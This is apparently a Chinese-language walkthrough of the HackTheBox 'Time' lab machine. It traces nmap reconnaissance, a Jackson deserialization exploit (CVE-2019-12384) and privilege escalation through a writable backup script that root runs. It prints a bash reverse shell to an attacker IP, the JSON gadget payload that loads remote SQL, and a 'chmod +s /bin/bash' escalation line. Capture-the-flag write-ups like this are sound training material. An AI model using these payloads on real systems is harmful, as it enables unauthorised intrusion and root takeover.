0%

HackTheBox-Time

  • Name:Time
  • OS:Linux

0x01 信息收集

nmap

1
2
3
4
5
6
7
nmap -p- time.htb
22
80

nmap -sC -sV -p 22,80 --script vuln time.htb
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))

http-80

nothing instering

1
2
3
4
5
6
/css (Status: 301)
/fonts (Status: 301)
/images (Status: 301)
/javascript (Status: 301)
/js (Status: 301)
/vendor (Status: 301)

一个json字符串在线美化和验证的在线工具。

20210304-15:50:04-_ShvTx0_p7KiDr

在Validate和Beautify中分别输入一段字符

Beautify的结果是null

而Validate是这样的报错

Validation failed: Unhandled Java exception: com.fasterxml.jackson.core.JsonParseException: Unrecognized token ‘asd’: was expecting (‘true’, ‘false’ or ‘null’)

通过这个报错信息,至少可以知道是用到了jackson,去搜索这段报错信息,可以知道是jackson-databind。搜索这个jackson-databind能发现近几年都是爆出些反序列化漏洞,之后在github上找到这个exp

0x02 漏洞利用

1
2
3
4
5
6
7
8
9
10
git clone https://github.com/jas502n/CVE-2019-12384

#修改inject.sql最后一段,payload改成反弹shell的。
CALL SHELLEXEC('bash -i >&/dev/tcp/10.10.14.12/1234 0>&1')$

# 开启web服务
python3 -m http.server 8000

# 监听
nc -lvnp 1234

向网页post这段内容

1
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.12:8000/inject.sql'"}]

20210304-16:56:27-_B5wwZg_GBQbF9

0x03 提权

用脚本枚举后,发现一个有趣的服务和脚本。
20210304-23:04:02-_O3tDMV_yiOFUU

20210304-23:32:24-_aOkceM_fgWfb3

看下权限。当前用户可写,好耶!

脚本内容

1
2
#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip

打包/var/www/html的文件,然后命名为website.bak.zip ,最后将其移动到/root目录下。能移动到root目录下到,怕不是是后台有执行脚本把?于是上传了一个pspy上去看下,果然。

20210305-13:20:48-_PzzYXY_9BPs3X

root用户会执行这个脚本,通过systemctl 重启 web_backup.server这个服务,去执行/usr/bin/timer_backup.sh这个文件。

但是他完整的启动链是这样的。有一个叫timer_backup.timer的服务一直在运行状态,去执行timer_backup.server。

20210305-13:15:26-_JxdEtk_Xg9H5B
而timer_backup.server呢 又会重启web_backup.service。

最后的web_bakcup.service就是执行的/usr/bin/timer_backup.sh这个文件。
20210305-13:17:55-_fhoFIY_xdg50w

接下来就简单了,只要修改/usr/bin/timer_backup.sh这个脚本文件的代码就好了,方式有很多种,任君发挥。

1
2
3
#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip
chmod +s /bin/bash

接着就/bin/bash -p提权就好了

20210305-13:25:27-_TiOmJu_vcyni4